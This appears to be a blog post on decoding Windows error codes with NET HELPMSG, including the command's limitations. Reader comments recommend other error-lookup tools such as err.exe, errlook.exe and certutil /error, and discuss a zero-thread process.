I'm more than willing to provide more information that could help narrow down possibilities or clarify or anything. Thanks!Tuesday, August 4, 2015 5:57 PM All replies - You should look at the logs. There should be a DISM log and some panther logs. Please remember to click “Mark as Answer” on the post that helps you, and to click “Unmark as Answer” if a marked post does not actually answer your question. This can be beneficial to other community members reading the thread.Tuesday, August 4, 2015 6:07 PM I take it the panther logs need to be accessed from the clients, since the ones on my server haven't been modified since the server had 2012 R2 installed. If that's the case I'll provide that information in a bit, but here's what I'm working with thus far. All I can seem to find in the DISM log are things for failovercluster, failing to find the WinPE Provider and IIS Https error. After further searching it seems I have these to go off of: The logs at the time when things started to go wrong have these: Open of SC_BOOT_SERVICING_DONE event failed 2 Failed to find a matching version for servicing stack: C:\Users\ADMINI~1\AppData\Local\Temp\MDTUpdate.296\Mount\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_6.3.9600.16384_none_fa1dc1539b4180d8\m[HRESULT = 0x80070490 - ERROR_NOT_FOUND] Failed to find a service stack directory in online store. [HRESULT = 0x80070490 - ERROR_NOT_FOUND]Tuesday, August 4, 2015 7:06 PM - Try disabling any Antivirus and do a test run... Please remember to click “Mark as Answer” on the post that helps you, and to click “Unmark as Answer” if a marked post does not actually answer your question. This can be beneficial to other community members reading the thread.Tuesday, August 4, 2015 7:14 PM - There is no antivirus on the server, or the clients. By the way, I could not find the panther log on the clients, where would it be?Tuesday, August 4, 2015 7:54 PM - Only time I've ever experienced skipping of % during apply is when network issues were causing enough of an outage during image deployment to disrupt completion of the image. Does this issue occur if you apply from USB media locally?Tuesday, August 4, 2015 8:41 PM Firstly, I apologize for such a late reply. Yes, the exact same thing happens when I try to install from USB. I used the windows 7 USB/DVD download tool and it got to 99% saying it couldn't copy my files and to check the iso/drive. I tried it with the USB anyway to see what would happen, and it behaves the exact same way as clients do when installing over a network. Since I have posted last, I've found that certain clients will install normally, but others will not. I've also further diagnosed the symptoms; clients that work go into the first time setup, but still skip from 62%-100% (I've used 'sfc /verifyonly' and confirmed the client is functioning normally) While clients that fail skip from 62%-100%, don't do a first time setup, but try to boot into windows over and over again. I didn't have this problem until I tried to build and burn the USB media, I think it's worth mentioning I did cancel the USB burn ~halfway through it the first time, since it was taking forever and I no longer needed it. Is it possible that either of those things corrupted the deployment share? If that's possible how would I go about fixing this? What would it have corrupted that only affects certain clients?Friday, August 7, 2015 2:09 PM - I don't think so. It's more likely that the WIM itself has some sort of corruption. I know it's a long process, but have you tried a rebuild of either the TS or wim?Friday, August 7, 2015 4:38 PM
https://social.technet.microsoft.com/Forums/en-US/bb38cdc3-348c-4f01-b6c5-403d1a50cdee/lti-skips-from-62-to-100?forum=mdt
CC-MAIN-2020-50
refinedweb
993
67.89
This is my second in a series of Development Extension Board (DEB) articles, if you missed the first one AVR LED/Level shifter Board be sure to check it out. These DEB boards came about as a way to mount frequenty used components on a board external to the MPU, be easy to use in the development cycle and have the ability to be plugged into a bread board where it may be wired easily. In cases such as with the RTC we will be using the PCF8583 Clock/Calendar with 256 X 8-bit RAM device where communication with the device is accomplished using the I2C Bus protocol. I haven't had any experience with this device or for that matter any device using the I2C Bus but wanted to learn so here we are. Although I used an AVR processor this board can be used with any MPU that supports GPIO and interrupts if notification required. Credits: This library uses Peter Fluery's I2C Library for the I2c Communications. This other libraries by Peter Fleury are an excellent resource and are open source under the GNU GPL license. I held off learning the I2C bus as I thought it would be difficult to learn and it was a little trickey but using Peter Fleury's I2C library made it fairly easy and provided the basic building blocks I needed to communicate with the device. I had the communications up and running in short time with the aid of a Logic Analyzer I just recently purchased from Saleae Logic. This wonderful device saved me hours of time debugging and looking at the data actually being sent. Not having some kind of tool such as this has kept me from attempting to learn I2C in the past. The figure that follows is a snapshot from the Logic Analyzer that was configured to interpret I2C data. The Analyzer is monitoring the Clock and Data lines and the packet that's being sent is shown with the green circle marking the start byte and the red square is the stop byte. We'll go into more detail about the packet structure in the sections that follow. There is a lot of information that will be presented in this article so the material is divided into two major sections being the Hardware and Software sections and where the Software section is further divided into sections that describe the the chips functionality, how to configure, set and read the registers and the high level software to control it's usage. The finished board mounted on the bread board is shown in the image below and along with the DEB board AVR LED/Level shifter Board that we created in the last article. I have set a timer alarm by setting the current time to 00:00:00.00 and the Alarm Time for 00:00:2.50 and when the alarm fires the interrupt it activates one of the lights on the LED board. I realize that this is very simplistic but we will be developing DEB boards in the future that will accept input and display results, but we're not at that point yet so we just want to make sure that our board is funtioning properly and that we understand how to control it. As can be seen from the schematic below there really isn't much to this board much of the functionality is built into the chip and we are just controlling it. I have included the data sheet for the device with the source for this article and it explains most of the inner workings fairly well but gets real vague when describing the different timer modes and alarms. At least it was difficult for me to understand so I will attempt to fill in some of the gaps in this article and provide the tools needed to talk to the device at a high level. The board requires 5V to power it and 2/3 GPIO ports to interface to it, 2 being if you are not interested in receiving notifications by way of alarms. The two 4.7K pull up resistors are required by the I2C communications and assumes that no other pull up resistors are introduced onto the bus. In addition the alarm interrupt pin on the chip is routed to a pin on the board so that alarm notification can be configured to do something. In this simple example I am setting the current and alarm times in code and using a Pin Change interrupt to intercept the alarm then turning on a light on the LED DEB board when the alarm is triggered. In the future I may expand on this theme when I get both input and output boards completed. I've been working on a EADOGm126 display board and have made good progress and intend on finishing in the near future but I received the 32.768 Khz crystals in the mail the other day and wanted to get the RTC working. I've had the RTC chip for quite a while but for some reason never ordered the crystals until recently. So in the process of unwinding my stack I will finish the display board. The main design criteria when developing this board was that the board should be provided with both power and control pins located on the board that when plugged into the bread board provide access to the boards communication bus and interrupt port. This minimalistic approach mimics the plug and play architecture with obvious differences and limitations but in my opinion it will make the prototyping and design/proof-of-concept phases much easier and a lot faster as most of the wiring has already been done. This plug and play architecture is extended to the solftware also so that if a particular requirement is needed for a device the appropriate board may be added, wired up and the software module included in your source. The device has 256 X 8-bits of RAM with an auto-increment adress register that allows data to be sequentially transferred in either direction. The first 8 bytes or registers of the adress space contain information pertaining to the clock. The second 8 bytes from 0x08 to 0x0f are only valid when alarms are enabled and available as free space if alarms are not used. I've included the datasheet for the chip and it shows a further break down of the hours, year/date and weekday/month registers. These fields may also be accessed with the mask flag bit in the Control/Status register which allows the registers to be read with all but the actual value masked out. Memory address 0x00 is the Control/Status register that is used to define the overall behavior of the chip. The Control/Status register and a brief description for each bit in the register is shown in the figure. The timer and alarm flags are set according to the rules for the mode you are currently running and they must be cleared in order for subsequent alarms to be recognized. When the Alarm enable bit is set in the Control/Status register the register from 0x08 to 0x0f become active and the Alarm functionality is determined by the Alarm Control byte at register location 0x08. The function mode defines 4 modes of operation but in this article we are only concerned with the clock mode 32.768 kHz mode since we have included a 32.768 crystal on the board for this purpose. If the alarm enable bit of the Control/Status register is set then the alarm control register becomes active and is used to define the behavior of alarms. The timer modes we will be looking at here are the Clock, Timer and Alarm timer modes where the two timer modes are very simlar, the Timer starts at zero or a predefined value and counts to 99 the resets to zero and the Alarm Timer mode starts at zero and counts until a predefined values is reached at which point an interrupt is trigger if configured to do so. The following sections describe how the timers are configured, what registers are involved and pseudocode to demonstrating usage. Using the Clock mode is basically what you would think of with an Alarm Clock in that you set the current time, set the alarm time and enable the alarm and when the alarm goes off disable the alarm. This mode uses the alarm registers 0x09-0x0e as the target alarm time and if the alarm interrupt enable bit is set in the Alarm Register then an interrupt will be fired when the current time equals the alarm time with the frequency specified using the clock alarm function bits 4-5 in the Alarm Control register. This mode mode requires that; Control/Status Register; bit 2 set to enable alarms. Alarm Register; bits 4-5 set to one of the clock alarm modes. bit 7 alarm interrupt enable. Example pseudocode: Setting the chip for a dated alarm Stop counter - Control/Status register bit 7 = 0 Set Clock Time - Clock time/date/ registers 0x01 - 0x06 Set Alarm time - Alarm time/date registers 0x09 - 0x0e Enable Alarm - Control/Status register bit 2 = 1 Start counter Control/Status register bit 7 = 0 This mode reminds me of stopwatch in that register 0x07 is used as a counter and starts at either 0x00 or a predefined value to 99 at which point the counter goes back to zero and if configured triggers an interrupt. This mode mode requires that; Control/Status Register; bit 2 enable alarms. Alarm Register; bits 0-3 count interval the timer uses. bit 3 timer interrupt enable bit 7 alarm interrupt enable Register 0x07 - Start value for timer as needed. Example pseudocode: Setting timer to run Stop counter Control/Status register bit 7 = 1 Set Alarm Time - register 0x07 [optional] Set count interval - Alarm register bit3 0-2 Enable Alarm - Alarm register bit 3 Start counter Control/Status register bit 7 = 0 Think of this mode as resembling an egg timer where a time interval is set, the timer enable and when the counter and the interval time match an interrupt is triggered if configured for interrupts. This mode mode requires that; Control/Status Register; bit 2 be set to enable alarms. Alarm Register; bits 0-3 count interval the timer uses. bit 6 alarm timer interrupt enable bit 7 alarm interrupt enable Register 0x0f - Compare timer value. Example pseudocode: Setting timer to run Stop counter Control/Status register bit 7 = 1 Set Alarm Timer register (0x0f) Set count interval - Alarm register bit3 0-2 Enable Alarm Timer Alarm register bit 6 Start counter Control/Status register bit 7 = 0 The timer mode you use depends on your needs but the library provided in the source should handle most of your needs and if not can be easily adapted to suit your needs. To better understand this section we are going to break it down into more managable chunks as there's quite a bit going on. In the following sections we will be covering the topics listed here. The software was written for the ATMega328p processor but can be adapted by modifying the appropriate defines in the Clock.h module. As the section name implies we are going to discover how to use the I2C bus without going into a lot of the mechanics. For a good read on the subject here is a good I2C Tutorial. In a nutshell I2C communications uses two wires; one for clock and one for data. Fortunatly the ATMega328p chip handles most of the I2C bus protocol in hardware and the Peter Fluery library handles all low level interaction with the chip. A very simplistic description of the packet scheme used in the communications protocol would be that for each transmission a start byte, which includes the slave address followed by any data required, restart and finally a stop byte to signify the end of packet. This protocol and the I2C library assume that this is a network with only one master node. Although the chip says it can handle multiple masters, implementation turns out to be quite a chore because you have to start considering collison detection and how to deal with them. I akin it to Asynchronus processing where you have to be thread aware. For most of my work a single master network will work just fine. The Figures 17-19 show the various packet formats for exchanging data with the device. In this stage we are building another layer in the communcations stack whose methods call the I2C Library primitive methods. This level of abstraction is used to Send/Receive information to/from the device in the form of packets without regard to content. There are three packet formats that the chip recognizes and are described in the following sections. Figure 17 shows a packet where data is sent from the master to the slave and is most communly used to set a register value or a sequential set of register values. This is a one-way transfer of dat from the master to the slave. Pseudocode used to Set the timer registers Send Start character (includes slave address) Send Word Address (Address to set or start at) Send Data(s) Send Stop character Example of Setting the time in code //send start byte with device address and write mode status = i2c_start(DeviceAddress+I2C_WRITE); //If device is responding if ( !status ) { //Write the register address to start writting. //For clock time wa = 0x01, for alarm time wa = 0x09 i2c_write(wa); //Write the values sequentially to the appropriate registers. i2c_write(time->hundreds); i2c_write(time->seconds); i2c_write(time->minutes); i2c_write(time->hours); } //Send the stop byte i2c_stop(); Figure 18 shows a master sending a request to read a predetermined number of bytes of data from the slave given the starting register. Pseudocode used to Read the Time registers Send Start character (includes slave address) Send Word Address (Register address to start at) Send a Restart character Read Data with ACK Read Data with NAK (last item) Send Stop character Example of Reading the time in code //send start byte with device address and write mode status = i2c_start(DeviceAddress+I2C_WRITE); if ( !status ) { i2c_write(wa); status = i2c_rep_start(DeviceAddress+I2C_READ); if (!status) { _current_time.hundreds = i2c_readAck(); _current_time.seconds = i2c_readAck(); _current_time.minutes = i2c_readAck(); _current_time.hours = i2c_readNak(); } } i2c_stop(); Figure 19 shows a master sending a request for slave to receive data starting at address 0x00 and read until ReadNAK is issued. Takes advatage of the auto-increment feature of the chip to read sequential registers. In this example we are defineing a clock alarm that triggers an interrupt 2.5 seconds after enabling the alarm. /* * RealTimeClock.c * * Created: 2/10/2012 11:17:26 PM * Author: Mike */ #ifndef FCPU #define F_CPU 8000000L #endif #include <avr/io.h> #include <util/delay.h> #include <avr/interrupt.h> #include "i2cmaster.h" #include "clock.h" void pci_init(); void io_init(); void SetClockModeAlarm(); void SetTimeModeAlarm(); void SetAlarmTimeNodeAlarm(); ISR(PCINT1_vect) { PORTB = (1<<PB5); } int main(void) { unsigned char dummy; bool line = false; i2c_init(); // init I2C interface io_init(); StopCounter(); //Pin change interrupt init pci_init(); //uncomment the one of the following SetClockModeAlarm(); StartCounter(0x04); sei(); while(1) { ReadTime(false); _delay_ms(100); } } void io_init() { DDRB = (1<<PB5); DDRC |= (1<<PC4) | (1<<PC5); } void pci_init() { PCIFR = (1<<PCIF1); PCMSK1 = (1<<PCINT8); PCICR = (1<<PCIE1); } void SetClockModeAlarm() { Time now; Date date; WriteRegister(ALARM_REG, 0xb0); date.year = 0x12; date.month = 0x02; SetDate(&date, false); SetDate(&date, true); now.hundreds = 0x00; now.seconds = 0x00; now.minutes = 0x13; now.hours = 0x08; now.r4.h_1224 = 1; SetTime(&now, false); now.hundreds = 0x32; now.seconds = 0x02; SetTime(&now, true); } Creating the PCF8583 device library and this article taught me a lot about the inner workings of the device. The work went a lot quicker with the help of my new Logic Analyzer which quite frankly if I hadn't had it I probably would have kept putting off learning the I2C Bus protocol as I had it in my head that it would be a pain to learn. I'll be creating more DEB boards in the near future and intend to bring this board back out when I get an input and display board finished. Maybe we'll try a programmable bench.
https://www.codeproject.com/Articles/329693/Keeping-time-with-the-PCF8583-Real-Time-Clock-and?fid=1685711&df=10000&mpp=50&sort=Position&spc=Relaxed&tid=4582098
CC-MAIN-2018-13
refinedweb
2,726
56.79
Fans of all types of media often have fun coming up with alternate stories that take place in the universe of their favorite pieces of fiction. Sometimes, particularly talented writers or artists working on fan fiction even end up being selected to work professionally on the licensed material. OpenAI's new GPT-3 (Generative Pre-trained Transformer 3) model was trained on a massive corpus of text making it incredibly powerful. This can be used to generate full dialogue between characters with surprisingly little input text given to it as a prompt. Let's walk through how to create a text-message powered bot to generate fan fiction in Python using Twilio Programmable Messaging and OpenAI's API for GPT-3. During quarantine, I've spent a lot of time listening to the soundtrack for Yugioh! The Eternal Duelist Soul because it is great coding music, so let's use the ridiculous universe of the Yugioh anime as an example. phone number, which you can buy here. - An OpenAI API key. Request beta access here. - ngrok to give us a publicly accessible URL to our code Introduction to GPT-3. We can see how versatile it is by giving it a tiny amount of input text. Just from a character's name followed by a colon, it's able to determine that this text is structured as character dialogue, figure out which series the character is from, and generate somewhat coherent scenes with other characters from that series. Here's an example from Yugioh, with the input text being this iconic (and widely memed) line from the first episode "Yugi: My grandfather's deck has no pathetic cards, Kaiba!" Playground also has a cool feature that allows you to grab some Python code you can run, using OpenAI's Python library, for whatever you used the Playground for. Working with GPT-3 in Python using the OpenAI helper library To test this out yourself, you'll have to install the OpenAI Python module. You can do this with the following command, using pip: pip install openai==0.2.4 Now create an environment variable for your OpenAI API key, which you can find when you try to export code from the Playground: export OPENAI_API_KEY='YOUR_API_KEY_HERE' We will access this in our Python code. To try this out, open a Python shell and run the following code, most of which I took directly from the Playground: import os import openai openai.api_key = os.environ.get("OPENAI_API_KEY") prompt_text = "Yugi:" response = openai.Completion.create( engine="davinci", prompt=prompt_text, temperature=0.7, max_tokens=256 ) print(prompt_text + response['choices'][0]['text']) You should see something like this printed to your terminal: Now let's change the code to begin the dialogue with a randomly selected character from the series, so it isn't always Yugi: from random import choice import os import openai characters = ['Yugi', 'Seto Kaiba', 'Bakura', 'Joey Wheeler', 'Mai Valentine', 'Maximillion Pegasus', 'Rex Raptor', 'Weevil Underwood', 'Rare Hunter'] openai.api_key = os.environ.get("OPENAI_API_KEY") prompt_text = "{}:".format(choice(characters)) response = openai.Completion.create( engine="davinci", prompt=prompt_text, temperature=0.7, max_tokens=256 ) print(prompt_text + response['choices'][0]['text']) Run this code a few times to see what happens! Configuring a Twilio phone number Before being able to respond to messages, you’ll need a Twilio phone number. You can buy a phone number here. We're going to create a web application using the Flask framework that 5000 This provides us with a publicly accessible URL to the Flask app. Configure your phone number as seen in this image so that when a text message is received, Twilio will send a POST request to the /sms route on the app we are going to build, which will sit behind your ngrok URL: With this taken care of, we can move onto actually building the Flask app to respond to text messages with some Yugioh fanfic. Responding to text messages in Python with Flask So you have a Twilio number and are able to have the OpenAPI generate character dialogue. It's time to allow users to text a phone number to get a scene of dialogue from the Yugioh universe. Before moving on, open a new terminal tab or window and install the Twilio and Flask Python libraries with the following command: pip install twilio==6.44.2 Flask==1.1.2 Now create a file called app.py and add the following code to it for our Flask application: import os from random import choice import openai from flask import Flask from twilio.twiml.messaging_response import MessagingResponse openai.api_key = os.environ.get('OPENAI_API_KEY') characters = ['Yugi', 'Seto Kaiba', 'Bakura', 'Joey Wheeler', 'Mai Valentine', 'Maximillion Pegasus', 'Rex Raptor', 'Weevil Underwood', 'Rare Hunter'] app = Flask(__name__) @app.route('/sms', methods=['POST']) def sms(): prompt_text = '{}:'.format(choice(characters)) response = openai.Completion.create( engine="davinci", prompt=prompt_text, temperature=0.7, max_tokens=128, presence_penalty=0.3 ) story = response['choices'][0]['text'] print(story) twiml_resp = MessagingResponse() # Respond with the full text including the initial prompt, # up until the last line break, just in case it was incomplete. twiml_resp.message(prompt_text + story[:story.rfind('\n')]) return str(twiml_resp) if __name__ == '__main__': app.run(debug=True) This Flask app contains one route, /sms, which will receive a POST request from Twilio whenever a text message is sent to our phone number, as configured before with the ngrok URL. A few changes were made to the OpenAI API code. First, we are having it generate only 128 tokens, because we are using the davinci engine, which is the most advanced model. This can potentially take a lot of time to generate text, so keeping the number of tokens small will make sure the HTTP response to Twilio doesn't timeout. We're also omitting everything after the final newline character, because sometimes generation will stop mid-sentence, as you can see in this example, where it stopped in the middle of a character's name: Save your code, and run it with the following command: python app.py Because we have ngrok running on port 5000, the default port for Flask, you can now text it and receive some hilarious or questionably sensical Yugioh scenarios! Tweaking it for better results We now have a Yugioh fanfic text bot! However, this is just the beginning. You can improve this in many ways, by experimenting with all of the different parameters in the API request, or even the prompts that you use to generate the text. For example, maybe you can try just entering a sentence that describes a scene, and seeing what type of dialogue the AI generates: In this example, it even generated some more descriptive text after my initial description, and the dialogue is in a different format than before. Now you can create different types of fanfic bots for any series, movies, or books you want! Here's an example using DragonBall Z characters, which I wrote a similar tutorial about: In terms of technical changes you can also experiment with having it generate more tokens, but making up for the added time that takes by using Redis Queue to send a text message asynchronously when generation is finished, rather than risking a timeout by responding to Twilio's HTTP request right away with TwiML. If you want to do more with Twilio and GPT-3, check out this tutorial on how to build a text message based chatbot. Feel free to reach out if you have any questions or comments or just want to show off any stories you generate. - Twitter: @Sagnewshreds - Github: Sagnew - Twitch (streaming live code): Sagnewshreds
https://www.twilio.com/blog/generating-yugioh-fan-fiction-with-openai-s-gpt-3-and-twilio-sms
CC-MAIN-2020-45
refinedweb
1,269
50.77
Different Sections of a C# Program Before we learn how to program in C#, we must first know about the sections of C# program. We must know every part of the program. This will help us know about code placement and it will be easier for us to write a program. So, let us look at a basic program in C# to understand different sections of C# program. When the above program is complied, we get the following output: Hello A basic C# program consists of following sections. using directive using directive is located in first line of the program. It is used to allow the use of types in namespace. A C# program can and generally have multiple using statements. using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; Namespace declaration Namespace declaration is situated below using directives which was designed for keeping one set of name separate from another. It is a collection of classes. In above example, Hello is the class of HelloApplication namespace. Class A class is defined using keyword class and followed by class name. It is used to declare a class and the class body is enclosed by curly braces {...}. It contains data and methods that a program uses. For example: Hello is the class and main is a method. class Hello { static void Main(string[] args) { /* hello program in C# */ Console.WriteLine("Hello"); Console.ReadLine(); } } Main method The main() method is starting point for our program. It states what the class does when executed. For example: static void Main(string[] args) Contents of the Main method (Expressions & Statements) In Main method, we write any statements or expressions and they get executed when the program runs. Expressions are set of codes which evaluates the values whereas statements are lines of code which are meant to be executed for a specific action. These expressions and statements must end with a semicolon ";". For example: /* hello program in C# */ Console.WriteLine("Hello"); Console.ReadLine(); Comments are used to leave a note within a program. They are ignored by the compiler when compiling the program. For example: /* hello program in C# */ We can use "//" for single line comments. //single line comment Or, we can use "/*.....*/" for multiple line comments. /* multiple line comment */
https://www.programtopia.net/csharp/docs/different-sections
CC-MAIN-2019-30
refinedweb
381
59.8
When you use the Team Foundation tf rename command to rename a source-controlled file in your local workspace, you change its address, not its name. If you rename file1.cs to file2.cs, you implicitly change its address from c:\folder\file1.cs to c:\folder\file2.cs. So what happens if you rename the folder part of an address to an existing repository folder rather than renaming the file? Example: tf rename c:\queue\file1.cs c:\projects\file1.cs* Note This example uses local, workspace paths but repository paths such as $/queue/file1.cs are also accepted. This example uses the tf rename command to move file1.cs from the queue folder to project folder in your workspace and when you check in the change from your workspace, the move will be committed to the repository as well. That, my friends, is why there is no move command in Visual Studio Team Foundation: the move command isn't needed because the rename command does it all. For folks like me who just don’t get it (square peg (rename)...round hole (move)...pound), the Hatteras team was kind enough to provide a move alias for the rename command. Thus, tf rename c:\folder\file1.cs c:\projects\file1.cs can also be written as tf move c:\folder\file1.cs c:\project\file1.cs. The rename command has one option, /Lock, which locks both the source namespace ($/folder/file1.cs) and the destination namespace ($/project/file1.cs) and thereby prevents other users from modifying the item until you check in the pending rename and unlock it. For more about locks, see Team Foundation vs. SourceSafe | Locking vs Exclusive Checkouts. ++++++++++++++++++++*In the second Community Technology Preview, which is due out in November and is MUCH better than the first, tf.exe does not exist. Instead, use h.exe. The 'h' stands for Hatteras.
http://blogs.msdn.com/b/korbyp/archive/2004/10/19/244635.aspx
CC-MAIN-2015-18
refinedweb
315
69.18
I have the following assignment to complete: ---------------------------------------------------------------------------------------------------------- Design and implement a GUI that allows you to play the Hi-Lo guessing game against the computer. The GUI should have two JLabel objects and a JTextField. The game begins when the computer chooses a random number between 1 and 100 (inclusive) and asks you to guess the number by using a JLabel to display "Enter your guess #n here ==>". Next to the JLabel is a JTextField to accept your number (exactly like the Fahrenheit program on page 198-9). You enter a guess and hit the Enter/Return key. Then your program gets the number String and converts it to an int (again, like the Fahrenheit program). If you guess the number correctly, both labels display "You Win!". Otherwise one label displays "Low = p" where p is the lowest value in the range of possible guesses, and the other displays "High = q" where q is the highest value in the range of possible guesses. So when Low is 1, High is 100, and your guess is 75 (which is too high), the labels will display "Low is 1" and "High is 74". If the next guess is 14 (which is too low) then the labels will display "Low is 15" and "High is 74". Thus, the user knows the range of possible values for the next guess. The game ends when either (1) the user enters the random number the computer picked, at which point the two labels announce "You Win!", the game stops, and the JTextField will still display the winning number. or (2) the user makes 7 incorrect guesses, at which point one label states "Sorry, you lose" and the other label states "The number was xxx", where xxx is the random number the computer selected at the outset. The user can play another time by closing the GUI and running the program again. ---------------------------------------------------------------------------------------------------------- I really want to learn Java but I'm beginning to realize that its probably not meant to be, because after three days of trying I still can't seem to wrap my mind around how to get this thing to work. So I decided to start small with one round of a high-lo game with computer. Everything compiled and it worked great so I thought I'd build on that and try opening it in a JPanel. Everything went downhill from there. Here's what I have so far: HiLoGame.java-> (Which won't compile.) import javax.swing.JFrame; public class HiLoGame { public static void main (String[] args) { JFrame frame = new JFrame ("HILO Guessing Game"); frame.setDefaultCloseOperation (JFrame.EXIT_ON_CLOSE); frame.getContentPane().add(new HiLoGamePanel()); frame.pack(); frame.setVisible(true); } } and HiLoGamePanel.java-> (This part compiles just fine.) import java.util.*; import javax.swing.*; public class HiLoGamePanel extends JPanel { public HiLoGamePanel() { int answer, guess; int lowVal, highVal; int lowGuess, highGuess; int guessCount; lowVal = 1; highVal = 100; Scanner scan = new Scanner (System.in); Random generator = new Random(); answer = generator.nextInt(100)+1; System.out.println ("Low: " + lowVal); System.out.println ("High: " + highVal); System.out.print ("Enter your guess number here ==> "); guess = scan.nextInt(); if(guess == answer) System.out.println ("You Win!"); else { System.out.print ("You Lose!"); } } } This is obviously just a start, and far away from what it needs to be for the assignment, but I'm honestly stuck and starting to pull my hair out over it. I'm really hoping someone can 1) let me know why what I have works until I try to get it to open in a JPanel, and 2) steer me in the right direction with the rest of it. I'd really, really appreciate any help you could offer!
http://www.dreamincode.net/forums/topic/93848-hi-low-game-in-java/
CC-MAIN-2016-22
refinedweb
613
72.26
Handling orientation changes in React Native I’ve just returned to my JavaScript days and am trying to learn React Native again. One of the things I like to do is to produce a “perfect” app – one that will work on both tablet and phone in any orientation and that includes all the best practices. Things like my Notes App on Android, for example, took me off to learn content providers. React Native is no different. There are a bunch of things you just have to know. One of the things I want to do is to produce a single app that does master-detail properly for both tablets and phones. To do that, I needed to be able to do two things: - Figure out if I was on a tablet. - Adapt to the orientation. In master-detail workflows, you have a list page (the master) and a detail page. They are shown as two separate pages on a phone or on a tablet in portrait mode, but they are shown side-by-side if the device is a tablet in landscape mode. React Native exposes an object called Dimensions that gives you all the information you need for this. You use it like this: const dim = Dimensions.get('screen'); It returns something like this: { "scale": 2, "height": 667, "width": 375, "fontScale": 1 } This is generated from an iPhone 6, so you may get different results. To get the real-dots, you multiply the scale by the dimension. I’ve used this to create a set of methods(in a utility JavaScript module called Platform.js) that gives me the information I need: import { Dimensions } from 'react-native'; /** * * @param {ScaledSize} dim the dimensions object * @param {*} limit the limit on the scaled dimension */ const msp = (dim, limit) => { return (dim.scale * dim.width) >= limit || (dim.scale * dim.height) >= limit; }; /** * Returns true if the screen is in portrait mode */ const isPortrait = () => { const dim = Dimensions.get('screen'); return dim.height >= dim.width; }; /** * Returns true of the screen is in landscape mode */ const isLandscape = () => { const dim = Dimensions.get('screen'); return dim.width >= dim.height; }; /** * Returns true if the device is a tablet */ const isTablet = () => { const dim = Dimensions.get('screen'); return ((dim.scale < 2 && msp(dim, 1000)) || (dim.scale >= 2 && msp(dim, 1900))); }; /** * Returns true if the device is a phone */ const isPhone = () => { return !isTablet(); } export default { isPortrait, isLandscape, isTablet, isPhone }; I can use this in a standard React Native application like this: render() { return ( <View style={styles.container}> <Text style={styles.welcome}> Welcome to React Native! </Text> <Text style={styles.instructions}> Dimensions = {JSON.stringify(Dimensions.get('screen'))}{'\n'} isPortrait = {Platform.isPortrait() ? 'true\n' : 'false\n'} isLandscape = {Platform.isLandscape() ? 'true\n' : 'false\n'} isPhone = {Platform.isPhone() ? 'true\n' : 'false\n'} isTablet = {Platform.isTablet() ? 'true\n' : 'false\n'} </Text> </View> ); } And this produces output like this: Hold on though. Try to rotate that device – it does not re-render the react tree, which means I don’t have orientation detection. To handle that case, I need to add state to the top level react component that detects the orientation. I use the following: constructor() { super(); this.state = { orientation: Platform.isPortrait() ? 'portrait' : 'landscape', devicetype: Platform.isTablet() ? 'tablet' : 'phone' }; // Event Listener for orientation changes Dimensions.addEventListener('change', () => { this.setState({ orientation: Platform.isPortrait() ? 'portrait' : 'landscape' }); }); } I store the orientation in the state object, then add an event listener. Whenever the dimensions change (for example, due to an orientation change), the state is changed and that causes a re-render of the entire react tree. As to why this is important? I can now create a MasterDetail react component that takes the master object and the detail object. In the phone (or tablet in portrait mode), I render a navigation bar plus master list OR the detail page, depending on what is selected. On a tablet in landscape mode, I render a flex layout that combines the master list and detail page. I’ll provide more on this topic in my next blog post.
https://adrianhall.github.io/react%20native/2017/07/26/handling-orientation-changes-in-react-native/
CC-MAIN-2019-43
refinedweb
663
67.55
A quick and dirty way to convert Windows error codes to strings is to use the NET HELPMSG command. C:\> NET HELPMSG 2 The system cannot find the file specified. C:\> NET HELPMSG 8242 An invalid dn syntax has been specified. The command is not infallible, however. - It operates only on Windows error codes. It doesn't decode HRESULTor NTSTATUSvalues. - It doesn't support messages with insertions, presumably because it doesn't pass the FORMAT_ IGNORE_ INSERTSflag. If you pass a message with an insertion, such as ERROR_ WRONG_ DISK, then instead of getting The wrong diskette is in the drive. Insert %2 (Volume Serial Number: %3) into drive %1. you get¹ C:\> NET HELPMSG 34 34 is not a valid Windows network message number. More help is available by typing NET HELPMSG 3871. Still, it's better than nothing. ¹ As a bonus insult, if you type the suggested command, you get this: C:\> NET HELPMSG 3871 *** is not a valid Windows network message number. Yeah, um, that really didn't tell me anything new. Well at least “NET HELPMSG 3871” doesn’t include the note that NET HELPMSG 3871 would give you more help. How did the NET command end up having so much non network related functionality in it? Such as starting and stopping services for example. Every project has a ‘Utils’ class… In this case; possibly because net start workstation was required to enable NetBIOS client side access under DOS. There were a few other services it could start too. That’s because FormatMessage() can more kind of error message than just network related ones. Microsoft provides a download for a utility called “err.exe” written by the Exchange team a long while ago. It has a database of error codes from 127 headers. It’ll automatically try the error code as a decimal and/or hex value (as appropriate). Every Win dev or power user should have it. On the topic of Microsoft error lookup utilities: I usually lookup errors using [Visual Studio Install Directory]\Common7\Tools\errlook.exe . Errorlook is convenient since it’s included with Visual Studio, but err.exe has the following advantages: it’s a console line program (for whatever reason, I find it slightly easier to use) it has a larger database of errors (such as NT status codes like 0xc0000005) it’ll interpret the error number you provide as both decimal and hex when possible. Errlook will interpret the value only one way. For example if you’re wondering about error code 15, you’d have to try both 15 and 0x15 if you weren’t sure if the number was decimal or hex. Err.exe will just tell you the errors for both interpretations. err.exe tells you which header the error value comes from No user needs err.exe! Every user can use CERTUTIL.exe /error 0x…….. CERTUTIL.exe is installed with Windows Server 2000 and Windows Server 2003, since Windows Vista with all versions. Nice to learn something new today. Not aware of this usage before. :) Thanks for mentioning certutil’s -error switch. I wasn’t aware of it. I might make use of it if I need to research an error code in a remote session. I’ll still use err.exe on my own machine as it’s the more capable tool. Wow! Rarely ever does a comment surpass its associated blog post! Thanks a bunch. There’s a better solution that I was going to save for my own utilities. I have ~30K lines of C# that contain exact enum definitions for Win32 interop (including HRESULT itself), and I also P/Invoked FormatMessage() for use with or without the inserts. If there’s enough support, we could put the mother of all error lookup utilities on github in very short time. .NET reflection can easily bounce you back and forth between integers and string identfiers, and search whole assembly namespaces. After typing random error codes into net helpmsg. I found an interesting one: net helpmsg 565: Indicates a process has too many threads to perform the requested action. For example, assignment of a primary token may only be performed when a process has zero or one threads. Is a process with zero threads even a process? Does this ever happen? This can happen if there is still a open handle to the process after all it’s threads have stopped. Similar to this: But without any threads, how does it even process the request in the first place? The kernel just sets the property on the process object, the process itself does not need to execute any code. I was working on some networking code recently and had been using net helpmsg. I know that there is a “net” in the command, but “net user” doesn’t require a domain (it can operate 